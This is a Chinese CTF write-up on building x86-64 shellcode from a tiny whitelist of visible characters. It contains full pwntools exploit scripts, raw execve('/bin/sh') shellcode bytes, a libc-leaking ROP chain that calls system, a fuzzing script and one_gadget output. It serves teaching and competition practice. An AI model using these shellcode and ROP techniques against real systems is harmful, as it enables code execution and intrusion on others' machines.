-
-
[原创]可见shellcode字符的艺术
-
2022-10-8 17:06 18855
-
可见shellcode字符的艺术
最近在某新生赛中看见了一道shellcode题,要求是可见字符,一般的可见shellcode字符限制的话通常是ASCII可见字符,难一点就不包含特殊符号,但是这道题的限制是仅可用大写
A-Z
外加hotnj145
这几个字符,这就让我很感兴趣了,这些字符构造shellcode有多大作用呢?
0x00简介
题目文件 - 链接:https://pan.baidu.com/s/16XG-BoRzSjLq9iPh5FV4zg?pwd=CTFF
本地测试环境是ubuntu18
,libc-2.27-3ubuntu1.6
先来看看伪代码
mmap
开了0x100大小RWX
的块,我们可以输入0x80大小数据,但随后会有inwhitelist
函数的检查,如果检查失败则打印Hacker并退出,接下来看看inwhitelist
函数
可以看到这就是一个白名单字符检查,必须要使用上图whitelist
数组里的字符,否则退出
0x01 绕过strlen函数
由于白名单检查的时候,数据长度是由strlen
函数提供的,而strlen函数的检查机制就是遇到NULL字符停止,但是又不能直接传入NULL字符作为开头,因为之后执行的时候会被认为是非法指令,所以说需要一个带NULL字符的合法指令放在开头,然后shellcode正常跟在后面就行
1 2 3 4 5 6 7 8 | from pwn import * context(os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) payload = asm( 'xor eax,0x4141' ) + asm(shellcraft.sh()) print (payload) p.sendafter(b 'you' ,payload) p.interactive() |
注意打印出来的shellcode开头,xor eax,0x4141
其实就是5AA\x00\x00
,因为eax是4字节的而我们的立即数只传入了2字节所以会产生NULL字符补充高位
这种方法确实解决了这道题,但是还没完呢,通过绕过strlen
函数的方式总感觉有点投机取巧,如果就按照题目的限制撸个shellcode出来多帅啊,很明显我想当一回真英雄,于是有以下研究,将一些技巧融入几个实际利用的手法中介绍
0x02 再次读入shellcode
首先,大概整理一下可以现在还可以用哪些指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | push 0x34343434 push all_reg pop rax rcx rdx r8 - 10 xor al, 0x41 xor dword ptr [r8], eax xor dword ptr [rax], eax #1\x00 xor dword ptr [rax + 0x41 ], ebx ecx edx ebp ... xor dword ptr [rcx], esi #11 xor qword ptr [r8 + 0x4d ], rcx #A1\x00 xor dword ptr [rcx], esi xor dword ptr [rax + 0x6f ], r9d xor dword ptr [rbx + 0x31 ], eax xor eax, 0x4141 xor dword ptr [rip], esi #xor rip出现不同指令 xor qword ptr [rip], rsi xor qword ptr [rip], r14 add byte ptr [r8], al #A\x00 |
不完整,只是大概看看能输入怎样的指令,注意有些指令结尾是需要\x00
的,有些可以通过增加立即数避免产生,有些则无法避免,如果不输入NULL字符的话,就将指令放结尾由缓冲区默认的NULL字符补充为合法指令,但是就无法继续在后面增加指令了,因为继续输入会覆盖掉这些NULL字符
我们仔细看看main函数
如果我们能跳转到1314的位置,就可以控制read函数的指针达到任意写,因为rax
是我们可控的,而rsi
不行,因为pop rsi
编译是_
字符,不在白名单中
众所周知,rip
寄存器正常情况是不可读不可写的,只能通过某些指令间接操作,例如ret
指令,但是ret
指令值是0xc3
是不可见字符,该怎么构造呢,一番捣鼓过后发现0xc3 / 2 / 2 == 0x41
,而0x41
是可见字符A,那么操作空间就有了
我们先观察一下此时的寄存器和堆栈的状态
rax/rdi/rsi
指向的值都是当前用于存储shellcode
的内存块开头的地址,r12
寄存器是_start
的地址,其次,如果没有输入指令地方默认就是NULL字节将会被解析成add byte ptr [rax], al
指令,所以说后面都是一样的指令
那么,执行xor al,0x41
指令看看
可以执行三次默认的add
指令后,rax
指向地址的值变成了0xc3
也就是ret
指令,但是问题也很明显,之后还会继续执行add
将会继续改变+0x41
地址里的值就变成其他指令了,所以说我们要恰好在+0x41
偏移的位置执行ret,中间的空间可以用一下无意义指令填充,而ret
之后执行流改变也就不用管后面的指令了
那么现在的操作就很简单了,构造出程序基址+1314
的值push
进栈顶,之后ret
执行的时候就pop
进rip了,_start
地址与执行read
片段位置的异或值是0x214
,由于立即数也只能用白名单里的字符要想办法构造,fuzz一下发现0x41414141^0x41414355=0x214
,因为单个字节异或不出0x214
,只用两个字节又会产生NULL字符,所以说选用两个四字节但高2字节相同的就好
1 2 3 4 | >>> hex ( 0x565172b69100 ^ 0x565172b69314 ) '0x214' >>> hex ( 0x41414141 ^ 0x41414355 ) '0x214' |
先上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | payload = asm( ''' push 0x41414141 pop rax push rax push rax push rax push rax push rax push rax push rax push rax push rax push rax push rsp pop rax push 0x41414355 pop rcx xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符 pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx push r12 #r12=_start xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr push 0x41414141 pop rdx #控制read的读入字节数 push rdi #无意义指令,填充位置 pop rax push rdi pop rax push rdi pop rax pop rcx push rcx push rcx xor al,0x41 #构造0xc3->ret指令 ''' ) |
操作可以分成几个部分,现在解读一下,首先一直push rax
是为了填充栈,因为不想在其中包含NULL字符,所以需要增加立即数来使用xor dword ptr [rax+0x48], ecx
,已经尽量选了一个比较小的,push rsp; pop rax
是将栈指针传递给rax
之后就能通过rax
加偏移异或ecx
来修改栈中的值,首先构造出0x214
在栈中,再把用于填充的值再pop
走让rcx=0x214
,r12
是_start
地址前面已经说过,异或0x214
就得到我们想要的read片段的地址,这里注意栈虽然pop
很多次已经降下来了,但rax
值没变,所以直接用就行,看图
0x7ffd166c8eb8+0x48==0x7ffd166c8f00
,所以直接push r12
就行
之后rsp
就是read
函数片段的地址,之后将rdx
设置为0x41414141
,一个巨大的值,之后调用read就能随意写入,接着的push ; pop
指令都是无意义操作,单纯填充位置,因为要在+0x41
位置才能调用ret
成功回到main
中调用read
函数,这里直接写入任意shellcode就行,写入的位置为shellcode地址+0x41
的位置,也就是从ret
这条指令本身开始覆盖写,虽然我们手动调用read
造成任意字符写,之后会重新进入shellcode
块重新执行,之后会发现执行shellcode
出现了问题,在+0x41
位置开始的指令跟我们传入的不一样,比如
这是因为,程序再次执行了之前写入的shellcode
,其中默认NULL字符被解析成的add
指令会修改+0x41
位置的值,造成指令被篡改,这也是我们造出ret
指令的方法,现在只需要预判一下会修改哪个字节让他修改的结果是我们本身想执行的指令就行,调试一下就能知道其实就是第一个字节被改了,我传入的shellcode如下:
1 | p.sendline(b "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" ) |
将第一个字节\x31
拿出来运算
1 2 3 4 5 6 7 8 | >>> ( 0x31 - 0x41 )& 0xff 240 >>> ( 240 - 0x41 )& 0xff 175 >>> ( 175 - 0x41 )& 0xff 110 >>> hex ( 110 ) '0x6e' |
&0xff
是因为add
时候是单字节操作,不会影响高位,所以只取一个字节,\x6e
经过运算就能还原成\x31
,从而保持shellcode
不变,修改第一个字节变成:
1 | p.sendline(b "\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" ) |
现在能正常执行:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) #p = remote('119.3.83.106',10565) #gdb.attach(p,'brva 0x1385\nc\nsi') payload = asm( ''' push 0x41414141 pop rax push rax push rax push rax push rax push rax push rax push rax push rax push rax push rax push rsp pop rax push 0x41414355 pop rcx xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符 pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx push r12 #r12=_start xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr push 0x41414141 pop rdx #控制read的读入字节数 push rdi #无用指令,填充位置 pop rax push rdi pop rax push rdi pop rax pop rcx push rcx push rcx xor al,0x41 #构造0xc3->ret指令 ''' ) print (payload) p.sendafter(b 'you' ,payload) #pause() sleep( 1 ) #p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") p.sendline(b "\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" ) p.interactive() |
其中传入的可见字符shellcode
:
1 | hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A |
0x03 ROP
既然能造
ret
指令,那再布局一下栈,岂不是直接ROP,起飞~
要想控制栈就要对栈调用read
写入,因为用shellcode
太麻烦了,而且长度有限,而上一节中rax
不是完全可控的,如果改变rax
的值也会影响到ret
指令的构造,但是又不能直接pop rsi
(不在白名单中),所以用pop rsi; pop r15; ret
的gadget来代替rax
控制read
函数写入的位置,调整一下调用read
的位置为+0x1317
偏移处(见下图),还有,固定在+0x41
偏移调用ret
相当于变相削减shellcode
长度,这里介绍一下其它构造ret
指令的方式
基本payload构造的话基本上都是上一节的操作,这里直接贴出,操作等价于p64(pop_rdi_ret)+p64(__libc_start_main+231)+p64(elf.plt['puts'])+p64(pop_rsi_r15_ret)+p64(stack_addr)+p64(main_read_gadget)*2
,控制read
时的指针写入栈,那么就会覆盖到call read
的时候保存的返回值,从而劫持程序执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | payload = asm( ''' push 0x41414142 #控制rdx值 pop rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rsp pop rax push 0x41414355 pop rcx xor dword ptr [rax+0x48], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符 pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx push r12 #r12=_start xor dword ptr [rax+0x48], ecx #_start^0x217=gadget_addr pop r8 #save gadget_addr push rdx #0x41414142 push 0x41414443 pop rcx xor dword ptr [rax+0x48], ecx #0x41414142^0x41414443=0x501 pop rcx push r12 xor dword ptr [rax+0x48], ecx #get pop_rsi_r15_addr pop r9 #save pop_rsi_r15_addr pop rcx #扔掉一个数据 push 0x41414242 pop rcx push rdx #rdx=0x41414142 xor dword ptr [rax+0x50], ecx #0x41414142^0x41414242=0x300 pop rcx xor dword ptr [rax+0x58], ecx #__libc_csu_init^0x300=puts@plt pop r10 #save puts@plt push r9 #pop_rsi_r15_addr push 0x41 push 0x43 pop rcx xor dword ptr [rax+0x58], ecx #0x43^0x41=0x2 pop rcx xor dword ptr [rax+0x58], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr pop rdx #save pop_rdi_addr push rdi #shellcode_addr pop rax xor al,0x41 pop rcx pop rcx pop rcx pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0 xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0 push 0x52 pop rcx xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2 push 0x31 pop rcx xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret pop rcx #save __libc_start_main+231 push r8 #main_read_addr push r8 #r15 push rsp #rsi push r9 #pop_rsi_r15 push r10 #puts push rcx #__libc_start_main+231 push rdx #pop_rdi ''' ) |
但是这里换了一种方式来构造ret
指令,这里介绍一下:
观察一下栈,可以发现有__libc_csu_init
,这是在栈中经常会出现的地址,它跟程序基地址有着固定偏移,熟悉PIE
的应该能知道最后面三位是永远不会变的,也就是3a0
,既然会固定出现,那么我们就利用这个a0
造出0xc3
,尝试之后发现白名单中的可见字符与其异或是不能得到0xc3
这个值的,一次异或不行?那就两次!0xa0^0x52^0x31=0xc3
,分别是R字符和1字符,构造ret
指令payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | payload = asm( ''' push rdi #shellcode_addr pop rax xor al,0x41 pop rcx #扔掉一个数据 pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0 xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0 push 0x52 pop rcx xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2 push 0x31 pop rcx xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret ''' ) |
首先将shellcode
地址给rax
然后修改低位,再加上之后xor
指令又加了立即数,那就可以变更后面的指令,由于我们可以输入的长度是0x80
,那么这里设置ret_addr = shellcode_addr(rax) + 0x41(xor_al) + 0x48(立即数)
,那么ret
指令就会出现在+0x89
位置,这个地方我们修改不到,很不错,可以防止覆盖掉或者误操作
1 2 3 4 5 6 7 8 9 10 11 12 13 | pwndbg> x / x 0x7fcfbc046089 0x7fcfbc046089 : 0x00000000 pwndbg> x / x 0x7fcfbc046089 0x7fcfbc046089 : 0x9b1bb3a0 pwndbg> x / x 0x7fcfbc046089 0x7fcfbc046089 : 0x9b1bb3f2 pwndbg> x / x 0x7fcfbc046089 0x7fcfbc046089 : 0x9b1bb3c3 pwndbg> u 0x7fcfbc046089 5 ► 0x7fcfbc046089 ret 0x7fcfbc04608a mov bl, 0x1b 0x7fcfbc04608c wait |
可以看到,原本+0x89
位置的值是0
,第一次异或则是赋值操作,因为0
异或任何数等于其本身,然后两次异或之后就变成了0xc3
,此时用pwndbg
将这个地方解析成指令查看,就会发现有ret
指令了,这里可能有同学有疑问,这里一直是四字节的操作而0xc3
是单字节的,那么高三字节被解析成指令不会对其产生影响吗,这是因为小端序的原因,其他三字节在内存中存储都是跟在0xc3
后面的,这里我们永远先执行到ret
,这就够了
因为限制,构造ROP就比较麻烦,虽然已经尽可能节省指令长度了,但还是超出了限制,现在输入的shellcode
长度是0x81
,多了一个字节。。
先贴出最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) elf = ELF( './shellcode' ) libc = elf.libc one = [ 0x4f2a5 , 0x4f302 , 0x10a2fc ] payload = asm( ''' push rsp pop rax pop rcx pop rcx pop rcx pop rcx pop rcx pop r8 #__libc_csu_init pop r9 #__libc_start_main+231 pop rcx #扔掉数据 pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx push 0x41414142 #控制rdx值 pop rdx push rdx push 0x41414355 pop rcx xor dword ptr [rax+0x68], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符 pop rcx push r12 #r12=_start xor dword ptr [rax+0x68], ecx #_start^0x217=gadget_addr push r9 #之后弹给r15的值 push rsp pop r9 #r9=&(__libc_start_main+231) push rdx #rdx=0x41414142 push 0x41414443 pop rcx xor dword ptr [rax+0x58], ecx #0x41414142^0x41414443=0x501 pop rcx push rsp #之后弹给rsi的值 push r12 xor dword ptr [rax+0x50], ecx #get pop_rsi_r15_addr pop rcx #save pop_rsi_r15_addr push rcx push rcx push 0x41 push 0x43 pop rcx xor dword ptr [rax+0x48], ecx #0x43^0x41=0x2 pop rcx xor dword ptr [rax+0x48], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr pop r10 #save pop_rdi_addr push 0x41414242 pop rcx push rdx #rdx=0x41414142 xor dword ptr [rax+0x48], ecx #0x41414142^0x41414242=0x300 pop rcx push r8 #r8=__libc_csu_init xor dword ptr [rax+0x48], ecx #__libc_csu_init^0x300=puts@plt pop rdx #save puts@plt push rdi #shellcode_addr pop rax #rax=shellcode_addr xor al,0x6e push rax #shellcode_addr+0x6e push rdx #puts@plt push r9 #栈地址,指向__libc_start_main+231 push r10 #pop_rdi_ret push r8 pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0 push rax pop rdx #控制rdx=rax xor dword ptr [rax+0x58], ecx #rax+0x58写入0xa0 push rdx pop rax #控制rax=rdx,之后从puts返回时需要执行 push 0x31 pop rcx xor dword ptr [rax+0x58], ecx #0xa0^0x31=0x91 push 0x52 pop rdx xor dword ptr [rax+0x58], edx #0x91^0x52=0xc3=ret ''' ) print (payload) p.sendafter(b 'you' ,payload) leak = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 231 libc_base = leak - libc.sym[ '__libc_start_main' ] system = libc_base + libc.sym[ 'system' ] binsh = libc_base + next (libc.search(b '/bin/sh' )) pop_rdi = libc_base + 0x000000000002164f ret = libc_base + 0x00000000000008aa one_gadget = libc_base + one[ 1 ] print ( '__libc_start_main' , hex (leak)) print ( 'libc_base' , hex (libc_base)) #gdb.attach(p,'b *'+hex(one_gadget)+'\nc') payload = b 'A' * 8 + p64(pop_rdi) + p64(binsh) + p64(system) #payload = p64(ret)*5+p64(one_gadget) p.sendline(payload) p.interactive() |
其中的可见字符payload:
1 | TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX |
提一下调试过程中出现的问题/解决办法/注意点
因为输入长度限制在0x80
,所以最终的exp
看起来就比较乱了,而且调整了一些指令,因为要优先节省字节其次解决调试中的各种问题,建议先看刚开始的payload
再来理解最终exp
。调试过程中发现,如果用puts
来泄露libc
虽然方便但是会改变rax/rdx
寄存器的值
- 1.
rdx
默认情况是一个libc
上的地址,使用这个值调用read
的话会因为读入字节数过大而直接不执行,而现在shellcode
的长度不足以再构造和布局一个pop rdx
的gadget
,我这里的解决办法是将现在shellcode
尾部的地址作为ROP其中一环来控制rdx
,就是尾部的push 0x52; pop rdx
指令 - 2.然后就要想插入偏移多少的
shellcode
地址比较合适,因为偏移值也是要在白名单字符中,我们能输入最大的立即数的值是0x74
,而shellcode
长度是0x80
,要保证后续指令不影响劫持控制流(然而现实的情况是甚至连指令都不合法别说继续ROP了),因此要注意选用尽可能值比较大的立即数跳过更多的指令,不然之前push
布置ROP的流程肯定会影响到最终执行流 - 3.因为是通过
push rdi; pop rax; xor al,立即数
操作来构造出这个shellcode
偏移地址在puts
执行之后,我们是通过两个立即数来偏移构造ret
(刚刚的rax和使用xor
指令再加一个立即数偏移),所以最后一直在执行NULL字符被解析成的add
相当于坐滑梯一样滑到ret
指令上,类似NOP
滑梯但不一样,因为他会改变rax
执行地址的值,而现在rax
指向的值不仅是指令而且是将要执行的指令(rax
自从xor al
之后没改变过,所以puts
之后跳回来的地址就是会改变指令的地方),但是两个立即数的值变动以及执行的指令(指会被修改指令附近的其它指令)都会影响最终被修改成的指令,那就需要fuzz
一下选出改变指令后不影响执行的两个值,也就是xor al,0x6e
和三条xor dword ptr [rax+0x58]
指令中的两个立即数,但是这并不是纯碰运气的,因为默认指令是add byte ptr [rax], al
,而al
只是取地址偏移值最后一字节是不会变的,[rax]
是我们输入的指令的值,这也不会变,所以说一旦fuzz
出能正常执行的指令完成后续流程,就算是换系统换libc
也是一样的,如果还有指令长度足够,可以在push rax
(之后再次执行的shellcode
地址)后面或者最后一行执行xor al,立即数
把会修改指令的地方调整到shellcode
其它位置不会被再次执行就行,这就不用fuzz
,反正我是没办法再扣出两字节来执行这条指令了(已经改了无数次了) - 4.前面提到从
puts
返回之后rax
也会改变,而rax
改变就不会执行默认指令滑梯了(此时rax
的值是puts
打印的字节数,反正不会是个地址),先观察一下此时的寄存器状态(见下图),rax
值为7
怎么执行add byte ptr [rax], al
啊?直接卡住无法执行,但同时观察到一个值rdx
指向的这个地址很明显是可写的,要是能将rdx
的值给rax
就行了,所以exp
后面有个push rdx; pop rax
的操作,但是这个操作将覆盖rax
又会影响第一次执行完整shellcode
的流程(我tm),解决办法是第一次执行的时候控制rax/rdx
的值是相等的,通过push rax; pop rdx
操作,而之后跳回来执行第二次shellcode
的时候不能包含这个操作,也就是说要注意最终选用的跳转回来二次执行的立即数偏移要大于这两条指令的偏移(不然岂不是rax
又先把rdx
覆盖了) - 5.注意构造
ret
指令的时候,两个立即数相加的值,如果结果为奇数不能出现ret
指令,那么控制结果为偶数即可 - 6.栈中的
__libc_start_main+231
在之后的指令执行时将会被覆盖,必须保存,而puts
又是需要指针而不是值,解决办法是在布置pop rsi; pop r15 ; ret
的时候,将r15设置为__libc_start_main+231
再保存此时的rsp
值,就有了一个指向__libc_start_main+231
的指针
这里提一下fuzz
的过程,首先先看最终exp
之后指令会变成什么
可以看到shellcode+0x6e
偏移的指令被改成了xor dword ptr fs:[rax + 0x58], ecx
,这条指令执行之后不会改变任何寄存器和栈里的ROP,也没有破坏后续的指令,那自然可以继续往下执行最终实现ROP
前面提到过修改两个立即数和指令能影响最终被修改出来的指令,举个例子,把exp
中最后的指令修改成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | xor al, 0x74 push rax #shellcode_addr+0x6f push rdx #puts@plt push r9 #栈地址,指向__libc_start_main+231 push r10 #pop_rdi_ret push r8 pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0 push rax pop rdx #控制rdx=rax push 0x31 xor dword ptr [rax + 0x58 ], ecx #rax+0x34写入0xa0 pop rcx push rdx pop rax #控制rax=rdx,之后从puts返回时需要执行 xor dword ptr [rax + 0x58 ], ecx #0xa0^0x31=0x91 push 0x52 pop rdx xor dword ptr [rax + 0x58 ], edx #0x91^0x52=0xc3=ret |
将push 0x31
移到了xor
指令上方,这完全不影响后续指令的效果,但影响最终被修改成的指令,另外还修改了xor al
指令中的立即数,那么我们fuzz
一下可以发现以下偏移值都是可以正常ROP利用的,第一个值是xor al
中的立即数,第二个是[rax+xx]
中的立即数
1 2 3 4 | 0x74 , 0x42 0x74 , 0x4a 0x74 , 0x4b 0x74 , 0x58 |
同理,修改最终exp
片段,控制第一个立即数为0x74
的话有这些可以使用,而最终exp
中第一个立即数使用0x6e
的话则只有0x6e,0x58
一种组合
1 2 3 4 5 6 7 8 9 | xor dword ptr [rax + % s], ecx push 0x31 pop rcx push rdx pop rax xor dword ptr [rax + % s], ecx 0x74 , 0x42 0x74 , 0x4a |
fuzz脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | from pwn import * context(log_level = 'info' ,os = 'linux' ,arch = 'amd64' ) elf = ELF( './shellcode' ) libc = elf.libc num = [ 0x41 , 0x42 , 0x43 , 0x44 , 0x45 , 0x46 , 0x47 , 0x48 , 0x49 , 0x4a , 0x4b , 0x4c , 0x4d , 0x4e , 0x4f , 0x50 , 0x51 , 0x52 , 0x53 , 0x54 , 0x55 , 0x56 , 0x57 , 0x58 , 0x59 , 0x5a , 0x68 , 0x74 , 0x6f , 0x6e , 0x6a , 0x34 , 0x35 , 0x31 ] def exp(num): payload = asm( ''' push rsp pop rax pop rcx pop rcx pop rcx pop rcx pop rcx pop r8 pop r9 pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx push 0x41414142 pop rdx push rdx push 0x41414355 pop rcx xor dword ptr [rax+0x68], ecx pop rcx push r12 xor dword ptr [rax+0x68], ecx push r9 push rsp pop r9 push rdx push 0x41414443 pop rcx xor dword ptr [rax+0x58], ecx pop rcx push rsp push r12 xor dword ptr [rax+0x50], ecx pop rcx push rcx push rcx push 0x41 push 0x43 pop rcx xor dword ptr [rax+0x48], ecx pop rcx xor dword ptr [rax+0x48], ecx pop r10 push 0x41414242 pop rcx push rdx xor dword ptr [rax+0x48], ecx pop rcx push r8 xor dword ptr [rax+0x48], ecx pop rdx push rdi pop rax xor al,0x74 #这个值也会改变结果 push rax push rdx push r9 push r10 push r8 pop rcx push rax pop rdx push 0x31 xor dword ptr [rax+%s], ecx pop rcx push rdx pop rax xor dword ptr [rax+%s], ecx push 0x52 pop rdx xor dword ptr [rax+%s], edx ''' % ( hex (num), hex (num), hex (num))) #print(payload) p.sendafter(b 'you' ,payload) libc_base = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - libc.sym[ '__libc_start_main' ] - 231 system = libc_base + libc.sym[ 'system' ] binsh = libc_base + next (libc.search(b '/bin/sh' )) pop_rdi = libc_base + 0x000000000002164f print ( 'libc_base' , hex (libc_base)) payload = b 'A' * 8 + p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload) print ( hex (num)) p.interactive() for n in num: try : p = process( './shellcode' ) exp(n) except : p.close() |
有报错的说明是没有成功构造出ret
指令,所以不报错的都是偶数值,其次没有EOF的就是不影响执行,成功getshell
,可以正常执行命令
其它需要注意的地方
- 1.泄露
libc
不一定要用__libc_start_main
地址,也可以用当前shellcode
的地址,因为这是通过mmap
映射出来的,与libc
有着固定偏移,在rdi/rsi
寄存器中有,又因为我们现有的指令无法改变这两个寄存器,导致它们始终存着shellcode
地址,可以在任意上下文指令中轻松取出,但这个偏移量在libc
不同版本有差别,而shellcode
题一般不提供libc
文件,所以使用__libc_start_main
更加实用,方便猜测远程libc
版本,让exp
更稳定,就是多浪费几个字节 - 2.实际利用推测l
ibc
版本的话可以用 https://libc.rip/ 和 https://libc.blukat.me/ 在线网站,或者将exp
改成LibcSearcher
寻找libc
,我在ubuntu16
测试过exp
,换libc
改pop_rdi_ret
的偏移就不用说了,唯一不同的就是在ubuntu16
下栈里存的是__libc_start_main+240
改一下偏移即可,通过这个区别也很好区分版本,远程的话打不通也可以尝试使用one_gadget
(exp
中被注释的那行payload),通过控制ret
指令的数量可以改变执行one_gadget
时栈中的数据,而且执行多个ret
不会影响执行流,很容易找到合适利用的数量 - 3.
mmap
的小知识,虽然题目中只开辟了0x100
大小的数据区用于存放&执行shellcode
,但mmap
分配标准都是以页(0x1000
)为单位,如果不是0x1000
的倍数则会自动凑整,所以说其实0x100
后面的内存都是RWX的,因此我们在更后面构造ret
指令而不用担心超出范围 - 4.写指令的时候尽量使用
rax/rcx/rdx
避免使用r8/r9/r10
,因为会更耗字节,比如push rdx
是一个字节而push r9
是两个字节
0x04 one_gadget
使用ROP可以看到确实能实现但真的复杂,用one_gadget的话能方便很多,但弊端是必须知道远程的libc版本,这也是为什么这种利用方式放在ROP后面讲的原因,用one_gadget的话是没有ROP那么稳定的,因为ROP的时候泄露了libc可以很好地猜测libc版本,当然也可以先构造出leak libc的操作先单独进行猜测版本,再对应找one_gadget,所以这种利用方式还是有一定的作用的
如果要使用one_gadget
,那么首先要解决的就是地址问题,之前出现的构造从栈或者寄存器找到比较相近的地址进行异或构造,这些地址是程序中需要用到的,与程序关系是很紧密的,导致这些相关地址是经常出现的,而one_gadget
没有,我们可以找到与libc
相关的地址,但与one_gadget
相差过大,我们手中的字符是很有限的,几乎不可能刚好就能异或出这些libc
相关地址与one_gadget
的偏移值,虽然不能一下子构造出偏移值,但我们可以通过逐字节逐字节的操作来达到目的
首先我们选定一个libc
相关的地址,我这里就用shellcode
的地址了,因为它由mmap
与libc
存在固定偏移,所以与one_gadget
也存在固定偏移,先查找一下one_gadget
,用-l 2
参数可以获取更多,但是条件会比不加参数找到的更麻烦,但我们现在是控制程序执行什么指令的,所以不用太在意条件问题,这里列出部分输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | root@ubuntu:~ / pwn / # one_gadget libc.so.6 -l 2 0x4f2a5 execve( "/bin/sh" , rsp + 0x40 , environ) constraints: rsp & 0xf = = 0 rcx = = NULL 0x4f302 execve( "/bin/sh" , rsp + 0x40 , environ) constraints: [rsp + 0x40 ] = = NULL 0xe534f execve( "/bin/sh" , r13, rbx) constraints: [r13] = = NULL || r13 = = NULL [rbx] = = NULL || rbx = = NULL 0xe54f7 execve( "/bin/sh" , [rbp - 0x88 ], [rbp - 0x70 ]) constraints: [[rbp - 0x88 ]] = = NULL || [rbp - 0x88 ] = = NULL [[rbp - 0x70 ]] = = NULL || [rbp - 0x70 ] = = NULL 0xe54fe execve( "/bin/sh" , rcx, [rbp - 0x70 ]) constraints: [rcx] = = NULL || rcx = = NULL [[rbp - 0x70 ]] = = NULL || [rbp - 0x70 ] = = NULL |
接着计算一下shellcode
地址到one_gadget
的偏移,用gdb
动调取值
